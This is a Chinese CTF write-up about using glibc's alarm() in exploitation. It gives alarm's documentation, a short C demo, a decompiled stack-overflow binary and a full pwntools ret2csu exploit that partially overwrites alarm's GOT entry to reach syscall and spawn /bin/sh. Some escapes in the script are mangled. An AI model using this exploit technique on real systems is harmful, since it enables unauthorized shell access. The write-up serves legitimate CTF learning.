『CTF』alarm 函数的妙用

# glibc-2.23posixunistd.h/* Schedule an alarm.  In SECONDS seconds, the process will get a SIGALRM.   If SECONDS is zero, any currently scheduled alarm will be cancelled.   The function returns the number of seconds remaining until the last   alarm scheduled would have signaled, or zero if there wasn't one.   There is no return value to indicate an error, but you can set `errno'   to 0 and check its value after calling `alarm', and this might tell you.   The signal may come late due to processor scheduling.  */extern unsigned int alarm (unsigned int __seconds) __THROW;

#include <stdio.h>#include <unistd.h>
int main(){    int r1 = alarm(6);   // res1 == 0    int r2 = alarm(8);   // res2 == 6    sleep(5);    int r3 = alarm(10);   // res3 == 3    return 0；}

ssize_t __fastcall main(int a1, char **a2, char **a3){  char buf[80]; // [rsp+0h] [rbp-50h] BYREF
  setvbuf(stdin, 0LL, 2, 0LL);  setvbuf(stdout, 0LL, 2, 0LL);  setvbuf(stderr, 0LL, 2, 0LL);  alarm(8u);  sleep(3u);  return read(0, buf, 0x500uLL);}

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']p = process('./blind')elf = elf('./blind')p_rdi = 0x4007c3bss = 0x601040 
def csu(rdi=0, rsi=0, rdx=0, r12=0, rbx=0, rbp=1):    # csu模板    gadget_1 = 0x4007a0    gadget_2 = 0x4007ba    payload = p64(gadget_2)    payload += (p64(rbx) + p64(rbp) + p64(r12) + p64(rdx) + p64(rsi) + p64(rdi))    payload += p64(gadget_1)    payload += b'b'*0x38    return payload
payload = b'a'*0x58payload += csu(rdi=0, rsi=elf.got['alarm'], rdx=1, r12=elf.got['read']) # read爆破微偏移量，获取syscall地址payload += csu(rdi=0, rsi=bss, rdx=59, r12=elf.got['read'])payload += csu(rdi=bss, r12=elf.got['alarm'])payload += b'x00'*(0x500-len(payload))p.sendline(payload)sleep(0.5)p.sendline(b'bin/shx00'+b'a'*51)sleep(0.5)p.interactive()